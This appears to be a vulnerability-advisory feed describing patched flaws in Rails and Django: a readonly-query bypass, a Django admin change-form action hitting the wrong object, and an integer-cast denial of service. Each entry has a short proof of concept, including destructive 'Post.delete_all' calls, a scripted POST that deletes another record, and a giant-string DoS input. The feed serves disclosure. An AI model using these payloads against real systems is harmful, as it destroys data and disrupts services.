The `execute_ar` and `run_explain` methods evaluated ActiveRecord expressions without wrapping them in a readonly connection context. This meant destructive ActiveRecord calls like `Post.delete_all`, `Post.first.update!(...)`, or `Post.destroy_all` could bypass the intended read-only protection and execute write operations against the database. The patch wraps the `eval` calls with `with_readonly_connection { ... }` to enforce the readonly constraint during expression evaluation.

🔍 View Affected Code & PoC

Affected Code

def execute_ar(expression:, page:, per:)
  result = eval(expression, TOPLEVEL_BINDING, "(query)", 1)

Proof of Concept

rails query "Post.delete_all"  # Before patch: deletes all posts despite the command being advertised as read-only
rails query "Post.first.update!(title: 'hacked')"  # Before patch: updates a record bypassing readonly mode
# In both cases, the DB write succeeds and data is permanently modified, defeating the security guarantee of the read-only query interface.

🔥 HIGH VERIFIED Improper Authorization / CSRF-like Action Targeting

May 20, 2026, 12:04 PM — django/django

Commit: 7c125f6a6660a70a0568448b2e40db273a456479

Author: Sarah Boyce

Before the patch, the Django admin change form allowed actions to be executed against arbitrary objects, not just the object being edited. An attacker could craft a POST request to a change form URL (for object A) but include the ACTION_CHECKBOX_NAME value of a different object (object B), causing the action to be executed on object B instead. This allowed privilege escalation or unauthorized modification/deletion of objects the user might not intend to affect. The fix adds a server-side check ensuring the checkbox value matches exactly the object being edited.

🔍 View Affected Code & PoC

Affected Code

queryset = self.model._default_manager.get_queryset()
if response := self.response_action(
    request, queryset, action_location=ActionLocation.CHANGE_FORM
):
    return response

Proof of Concept

# Attacker visits change form for object s1 (pk=1) but targets object s2 (pk=2) with an action:
import requests

session = requests.Session()
# Assume already authenticated as a user with change permission on ExternalSubscriber

response = session.post(
    'http://example.com/admin/admin_views/externalsubscriber/1/change/',
    data={
        'csrfmiddlewaretoken': '<valid_token>',
        'CHANGE_FORM-action': 'delete_selected',  # or any destructive action
        '_selected_action': '2',  # pk of a DIFFERENT object (s2)
        'index': '0',
    }
)
# Before patch: action runs on object pk=2, even though URL is for object pk=1
# After patch: returns HTTP 400 Bad Request

⚠️ MEDIUM VERIFIED Denial of Service (ReDoS/Algorithmic Complexity)

May 20, 2026, 06:34 AM — rails/rails

Commit: f75b06112051d40769e08aa3475a4969c71f1dec

Author: Jean Boussier

Calling `to_i` on very long strings in Ruby can take an extremely long time due to the algorithmic complexity of bignum conversion, which can be exploited as a DoS vector. Before the patch, `ActiveModel::Type::Integer#cast_value` would call `to_i` on arbitrarily long strings without any length limit. The patch fixes this by truncating strings to `_limit * 4` bytes (e.g., 16 bytes for a 4-byte integer) before calling `to_i`.

🔍 View Affected Code & PoC

Affected Code

def cast_value(value)
  value.to_i rescue nil
end

Proof of Concept

# Rails application with a model that has an integer column:
# User.create(age: '9' * 5_000_000)
# Or via HTTP request to any Rails endpoint that accepts integer parameters:
# POST /users with body: age=999999999999999999999999999999999999999999....(5MB of 9s)
# This causes the server to hang for seconds/minutes while computing to_i on a 5MB string